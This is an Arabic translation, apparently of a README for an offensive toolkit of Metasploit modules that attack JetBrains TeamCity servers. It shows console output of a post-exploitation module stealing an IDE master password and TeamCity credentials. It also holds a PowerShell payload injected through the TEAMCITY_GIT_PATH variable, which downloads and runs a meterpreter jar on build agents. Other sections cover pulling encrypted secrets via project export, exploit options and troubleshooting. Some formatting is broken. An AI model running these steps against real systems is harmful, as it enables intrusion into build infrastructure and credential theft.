يبدو الإخراج كما يلي:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

8. تشغيل بناء مخصص شخصي على جميع العوامل المتوافقة

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## شل على عوامل بناء Windows

بشكل افتراضي، لا يستطيع `Project Developer` تعديل/إنشاء خطوات البناء.

لذلك ليس من الممكن إضافة وتنفيذ سطر الأوامر الخبيث الخاص بنا.

يمكننا محاولة تجاوز ذلك على Windows باستخدام [متغيرات البيئة المخصصة ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). كيف؟

يدعم Teamcity [التحقق من git على العامل](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

قبل تنفيذ خطوة البناء، يقوم العامل بتنزيل أحدث البيانات من خادم git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

في سجلات البناء، يبدو هذا كالتالي:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

يمكنك الآن تسجيل الدخول باستخدام: `http://teamcity/login.html?super=1`

## البيانات المحفوظة

يخزن TeamCity أشياء مثل `كلمات مرور جذر VCS` أو `معلمات كلمة المرور` أو `مفاتيح SSH` في شكل مشفر ولا يظهر محتوياتها على الواجهة الإلكترونية أو واجهة API.

ولكن يمكن تجاوز ذلك باستخدام وظيفة `export`. انتقل إلى **مشروعك->تصدير الإعدادات->تصدير**

![Project export](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

تبدو هذه الملفات كما يلي:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

تبدو المخرجات هكذا:

خيارات إضافية:

| الاسم | الوصف |
|:---:|:---:|
|PROJECT_ID|تحديد معرف المشروع، افتراضيًا سيُنشئ مشروعًا عشوائيًا جديدًا|
|BUILD_TYPE_ID|تحديد معرف نوع البناء، افتراضيًا سيُنشئ نوع بناء عشوائيًا جديدًا|
|VCS_ID|تحديد معرف VCS، افتراضيًا سيُنشئ VCS عشوائيًا جديدًا|
|CLEANUP|حذف المشروع/البناء/Jذر VCS الذي تم إنشاؤه|
|SERVER_PLUGIN|المسار إلى [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|المسار إلى دليل GIT|

# استكشاف الأخطاء وإصلاحها

  1. لا أستطيع تحميل وحدات Metasploit

  تحقق مرة أخرى من نسخ `teamcity.rb` إلى دليل `~/.msf4/modules/exploits` و `jetbrains.rb` إلى دليل `~/.msf4/modules/post`.
  يتطلب Metasploit أن تكون وحدات الاستغلال داخل دليل `exploits` ووحدات ما بعد الاستغلال داخل دليل `post`.

  2. تحذير! لا يمكن تحميل الوحدات التالية! LoadError لا يمكن تحميل ملف -- kdbx

  هل قمت بتثبيت [وحدة kdbx](#installation)؟ إذا كانت الإجابة بنعم، اخرج من Metasploit وشغّلها مرة أخرى. استخدم الأمر `reload_all`.

  3. لا أستطيع الحصول على كلمات المرور من IDE المثبت على Mac/Linux

  حاليًا يتم دعم Windows فقط. آسف.

  4. فشلت المهمة اللاحقة: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: فشلت العملية: 1

  ربما تستخدم java meterpreter. لا يحتوي على بعض واجهات برمجة التطبيقات المهمة. انتقل إلى `windows/meterpreter/reverse_tcp` وحاول مرة أخرى.

  5. التشغيل كـ SYSTEM، لا يمكن فك تشفير البيانات

  لأن كلمات المرور مشفرة باستخدام واجهة برمجة التطبيقات `CryptUnprotectData`، تحتاج وظيفة فك التشفير إلى التشغيل في سياق حساب المستخدم العادي.

  6. لا أحصل على [شل على الخادم](#shell-on-server)

  شغّل الاستغلال مرة ثانية.

  7. `teamcit.rb` لا يعمل حتى لو كان المستخدم الحالي لديه صلاحيات كافية

  لا تدعم هذه الوحدة الأدوار المخصصة.

  8. لا يمكن العثور على git داخل %path%. يرجى تغيير GIT_PATH

  نحتاج إلى ثنائي `git` و `git-upload-pack` لإعداد خادم Git الذي سيستضيف meterpreter الخاص بنا. أستخدم الفكرة من [هنا](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. لا يمكن تسجيل الدخول كـ `username:password`

  تحقق من بيانات الاعتماد:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. لا يمكن العثور على البرنامج المساعد للخادم: %path%. يرجى تعديل SERVER_PLUGIN

  حدد مكان تخزين [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] فشل الاستغلال: Rex::RuntimeError المورد المقدم تمت إضافته بالفعل.

  قم بإنهاء المهام الخلفية باستخدام `jobs -K`

  12. يرجى ربط LHOST بعنوان IP محدد، وليس بـ 0.0.0.0

  اربط بعنوان IP محدد، على سبيل المثال:  ```
  use LHOST 192.168.1.123

ثم حدد project id:  ```
set PROJECT_ID test

set HttpTrace 1
set LogLevel 3